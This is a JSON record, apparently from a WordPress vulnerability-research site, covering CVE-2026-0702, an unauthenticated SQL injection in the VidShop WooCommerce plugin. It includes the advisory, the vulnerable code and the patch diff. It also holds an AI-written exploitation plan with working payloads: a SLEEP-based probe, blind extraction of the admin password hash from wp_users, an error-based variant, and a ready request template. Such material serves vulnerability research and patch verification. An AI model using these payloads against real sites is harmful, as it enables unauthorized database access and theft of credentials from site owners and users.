[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fe_MUBnNP_6T7jfa5s5QxYcrKDb-5739uOL0u-hl3iqQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-0702","vidshop-shoppable-videos-for-woocommerce-unauthenticated-time-based-sql-injection-via-fields","VidShop – Shoppable Videos for WooCommerce \u003C= 1.1.4 - Unauthenticated Time-Based SQL Injection via 'fields'","The VidShop – Shoppable Videos for WooCommerce plugin for WordPress is vulnerable to time-based SQL Injection via the 'fields' parameter in all versions up to, and including, 1.1.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","vidshop-for-woocommerce",null,"\u003C=1.1.4","1.1.5","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-01-27 00:00:00","2026-01-28 08:26:56",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa61d8d2a-742f-45f1-9146-f733b80ef195?source=api-prod",1,[22,23,24,25,26,27,28],"includes\u002Fmodels\u002Fclass-video-event-model.php","includes\u002Fmodels\u002Fclass-video-product-stats-model.php","includes\u002Fmodels\u002Fclass-video-session-model.php","includes\u002Frest-api\u002Fv1\u002Fclass-videos-controller.php","includes\u002Futils\u002Fclass-query-builder.php","readme.txt","vidshop-for-woocommerce.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-0702 - VidShop SQL Injection\n\n## 1. Vulnerability Summary\nThe **VidShop – Shoppable Videos for WooCommerce** plugin (versions \u003C= 1.1.4) is vulnerable to an unauthenticated time-based SQL Injection. The vulnerability exists in the REST API handler for retrieving videos, specifically through the `fields` parameter. The plugin fails to sanitize or properly prepare the list of columns provided by the user before incorporating them into a `SELECT` statement within its custom `Query_Builder`.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fvidshop\u002Fv1\u002Fvideos` (GET)\n- **Vulnerable Parameter:** `fields`\n- **Authentication:** Unauthenticated (Default). The `check_public_permission` callback in `Videos_Controller` typically allows read access to published videos.\n- **Payload Type:** Time-based blind SQL injection (e.g., `SLEEP()`).\n- **Preconditions:** At least one video must exist in the database (specifically the `vsfw_videos` table) to trigger the execution of the `SELECT` clause for the returned rows.\n\n## 3. Code Flow\n1.  **Request Entry:** An unauthenticated user sends a GET request to `wp-json\u002Fvidshop\u002Fv1\u002Fvideos?fields=...`.\n2.  **Route Registration:** In `includes\u002Frest-api\u002Fv1\u002Fclass-videos-controller.php`, the route `\u002Fvideos` is registered with the `get_items` callback.\n3.  **Parameter Handling:** The `get_items` method retrieves the `fields` parameter from the `WP_REST_Request`.\n4.  **Query Building:** The controller uses `Video_Model::query()`, which returns an instance of `VSFW\\Utils\\Query_Builder`.\n5.  **Vulnerable Sink:** The controller calls `$query->select( explode( ',', $request['fields'] ) )`. \n6.  **SQL Construction:** In `includes\u002Futils\u002Fclass-query-builder.php`, the `select()` method populates the `$columns` array. When the query is executed (via `get()` or `get_raw()`), the builder constructs the SQL string by joining these columns: `SELECT field1, field2, [PAYLOAD] FROM wp_vsfw_videos...`.\n7.  **Execution:** The raw string is executed via `$wpdb->get_results()`, triggering the SQL payload.\n\n## 4. Nonce Acquisition Strategy\nREST API `GET` requests in WordPress typically do not require a nonce for public collections. However, if the environment is hardened:\n1.  **Trigger Script Loading:** Create a page containing the VidShop shortcode `[vsfw-videos]`.\n2.  **Identify Variable:** The plugin likely localizes script data via `wp_localize_script`. Based on standard VidShop patterns, check for a global object like `vidshop_data` or `vsfw_settings`.\n3.  **Extraction:**\n    - `wp post create --post_type=page --post_status=publish --post_title=\"VidShop Test\" --post_content='[vsfw-videos]'`\n    - Navigate to the new page.\n    - `browser_eval(\"window.vsfw_settings?.rest_nonce\")` (inferred key).\n4.  **Bypass:** Check `Videos_Controller::check_public_permission`. If it returns `__return_true`, no nonce or authentication is required.\n\n## 5. Exploitation Strategy\nWe will use a time-based payload to confirm the injection.\n\n### Step 1: Confirm Injection\nSubmit a request that causes a 5-second delay.\n- **Method:** `GET`\n- **URL:** `\u002Fwp-json\u002Fvidshop\u002Fv1\u002Fvideos`\n- **Parameters:**\n    - `fields`: `id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)`\n    - `per_page`: `1` (To ensure the sleep only triggers once)\n\n### Step 2: Data Extraction (Example: Admin Hash)\nExtract the first character of the admin password hash.\n- **Payload:** `id,(SELECT IF(ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),1))`\n- **Note:** `36` is the ASCII for `$`, which is the start of WordPress phpass hashes.\n\n### Request Format (via http_request):\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"http:\u002F\u002Fvulnerable-hostname.tld\u002Fwp-json\u002Fvidshop\u002Fv1\u002Fvideos\",\n  \"params\": {\n    \"fields\": \"id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)\",\n    \"per_page\": \"1\"\n  }\n}\n```\n\n## 6. Test Data Setup\n1.  **Ensure WooCommerce is active:** The plugin requires it.\n2.  **Create a Video:** The injection requires at least one row in the videos table to execute the `SELECT` list expressions.\n    ```bash\n    wp eval \"VSFW\\Models\\Video_Model::create(['title' => 'Exploit Test', 'type' => 'media_library', 'thumbnail_id' => 1, 'status' => 'published']);\"\n    ```\n3.  **Verify Public Access:** Ensure the REST API is reachable.\n\n## 7. Expected Results\n- **Vulnerable Version:** The HTTP response will be delayed by approximately 5 seconds.\n- **Patched Version (1.1.5):** The response will return immediately, likely with a `400 Bad Request` or the `fields` parameter will be ignored\u002Fsanitized, returning only valid columns.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the database state or logs:\n1.  **Check Query Logs:** If `WP_DEBUG` and `SAVEQUERIES` are on, check the SQL query logged.\n2.  **No Side Effects:** Since this is a `SELECT` injection, no data should be modified, but time-based confirmation is definitive.\n3.  **Manual Check:** \n    ```bash\n    wp db query \"SELECT id, (SELECT SLEEP(1)) FROM wp_vsfw_videos LIMIT 1;\"\n    ```\n    (This confirms the syntax used in the payload is valid for the target DB).\n\n## 9. Alternative Approaches\n- **Boolean-Based Blind:** If time-based is unreliable, use `fields=id,(CASE WHEN (1=1) THEN 1 ELSE 0 END)` and check if the returned JSON includes a column with value `1` vs `0`.\n- **Error-Based:** If `WP_DEBUG` is enabled, try `fields=id,updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1)`.\n- **Different Endpoint:** Check if `GET \u002Fwp-json\u002Fvidshop\u002Fv1\u002Fvideos\u002F(?P\u003Cid>[\\d]+)` also processes the `fields` parameter via the same `get_item` logic.","The VidShop plugin for WordPress is vulnerable to unauthenticated time-based SQL Injection via the 'fields' parameter on the REST API videos endpoint. Due to insufficient validation and escaping within the Query_Builder's select method, an attacker can inject arbitrary SQL commands into the column list of a SELECT query.","\u002F\u002F includes\u002Frest-api\u002Fv1\u002Fclass-videos-controller.php (around line 309 in v1.1.4)\nif ( $fields ) {\n    $selected_fields = explode( ',', $fields );\n    $query->select( $selected_fields );\n}\n\n---\n\n\u002F\u002F includes\u002Futils\u002Fclass-query-builder.php (line 407 in v1.1.4)\npublic function select( $columns = array( '*' ) ) {\n    $this->columns = is_array( $columns ) ? $columns : func_get_args();\n    return $this;\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvidshop-for-woocommerce\u002F1.1.4\u002Fincludes\u002Frest-api\u002Fv1\u002Fclass-videos-controller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvidshop-for-woocommerce\u002F1.1.5\u002Fincludes\u002Frest-api\u002Fv1\u002Fclass-videos-controller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvidshop-for-woocommerce\u002F1.1.4\u002Fincludes\u002Frest-api\u002Fv1\u002Fclass-videos-controller.php\t2026-01-08 09:26:16.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fvidshop-for-woocommerce\u002F1.1.5\u002Fincludes\u002Frest-api\u002Fv1\u002Fclass-videos-controller.php\t2026-01-16 15:29:18.000000000 +0000\n@@ -180,6 +180,68 @@\n \t}\n \n \t\u002F**\n+\t * Get allowed fields for select query (whitelist for SQL injection prevention)\n+\t *\n+\t * @return array\n+\t *\u002F\n+\tprivate function get_allowed_fields() {\n+\t\treturn array(\n+\t\t\t'id',\n+\t\t\t'title',\n+\t\t\t'type',\n+\t\t\t'source_url',\n+\t\t\t'thumbnail_id',\n+\t\t\t'video_id',\n+\t\t\t'settings',\n+\t\t\t'status',\n+\t\t\t'created_by',\n+\t\t\t'created_at',\n+\t\t\t'updated_at',\n+\t\t);\n+\t}\n+\n+\t\u002F**\n+\t * Sanitize fields parameter - whitelist validation\n+\t *\n+\t * @param string $fields Comma-separated fields.\n+\t * @return string Sanitized fields.\n+\t *\u002F\n+\tpublic function sanitize_fields_param( $fields ) {\n+\t\tif ( empty( $fields ) ) {\n+\t\t\treturn '';\n+\t\t}\n+\t\terror_log( 'Sanitize fields parameter: ' . $fields );\n+\t\t$requested_fields = array_map( 'trim', explode( ',', $fields ) );\n+\t\t$allowed_fields   = $this->get_allowed_fields();\n+\t\t$valid_fields     = array_filter(\n+\t\t\t$requested_fields,\n+\t\t\tfunction ( $field ) use ( $allowed_fields ) {\n+\t\t\t\treturn in_array( $field, $allowed_fields, true );\n+\t\t\t}\n+\t\t);\n+\t\terror_log( 'Valid fields: ' . implode( ',', $valid_fields ) );\n+\t\treturn implode( ',', $valid_fields );\n+\t}\n+\n \t\u002F**\n \t * Get collection parameters\n \t *\u002F\n@@ -222,12 +284,14 @@\n \t\t\t\t'enum'        => array( 'asc', 'desc' ),\n \t\t\t),\n \t\t\t'fields'   => array(\n-\t\t\t\t'description' => __( 'Comma-separated list of fields to include in the response.', 'vidshop-for-woocommerce' ),\n-\t\t\t\t'type'        => 'string',\n+\t\t\t\t'description'       => __( 'Comma-separated list of fields to include in the response.', 'vidshop-for-woocommerce' ),\n+\t\t\t\t'type'              => 'string',\n+\t\t\t\t'sanitize_callback' => array( $this, 'sanitize_fields_param' ),\n \t\t\t),\n \t\t\t'ids'      => array(\n-\t\t\t\t'description' => __( 'Comma-separated list of video IDs.', 'vidshop-for-woocommerce' ),\n-\t\t\t\t'type'        => 'string',\n+\t\t\t\t'description'       => __( 'Comma-separated list of video IDs.', 'vidshop-for-woocommerce' ),\n+\t\t\t\t'type'              => 'string',\n+\t\t\t\t'sanitize_callback' => array( $this, 'sanitize_ids_param' ),\n \t\t\t),\n \t\t);\n \n@@ -303,7 +368,8 @@\n \t\t\t$query->order_by( $orderby, $order );\n \t\t}\n \n-\t\tif ( $fields ) {\n+\t\t\u002F\u002F Select specific fields (already validated via whitelist in sanitize_callback)\n+\t\tif ( ! empty( $fields ) ) {\n \t\t\t$selected_fields = explode( ',', $fields );\n \t\t\t$query->select( $selected_fields );\n \t\t}","The exploit targets the public WordPress REST API endpoint \u002Fwp-json\u002Fvidshop\u002Fv1\u002Fvideos. An attacker makes a GET request and provides a SQL payload within the 'fields' parameter. Because the plugin uses explode() on the 'fields' string and passes the resulting array directly into a SELECT statement without validation, an attacker can append a subquery using time-based functions like SLEEP(). \n\nPayload Structure: \nGET \u002Fwp-json\u002Fvidshop\u002Fv1\u002Fvideos?fields=id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)&per_page=1\n\nAuthentication: None required (Unauthenticated).\nCondition: At least one entry must exist in the 'vsfw_videos' table for the SELECT query to execute the SLEEP payload.","gemini-3-flash-preview","2026-05-04 22:58:55","2026-05-04 22:59:13",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.1.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvidshop-for-woocommerce\u002Ftags\u002F1.1.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvidshop-for-woocommerce.1.1.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvidshop-for-woocommerce\u002Ftags\u002F1.1.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fvidshop-for-woocommerce.1.1.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fvidshop-for-woocommerce\u002Ftags"]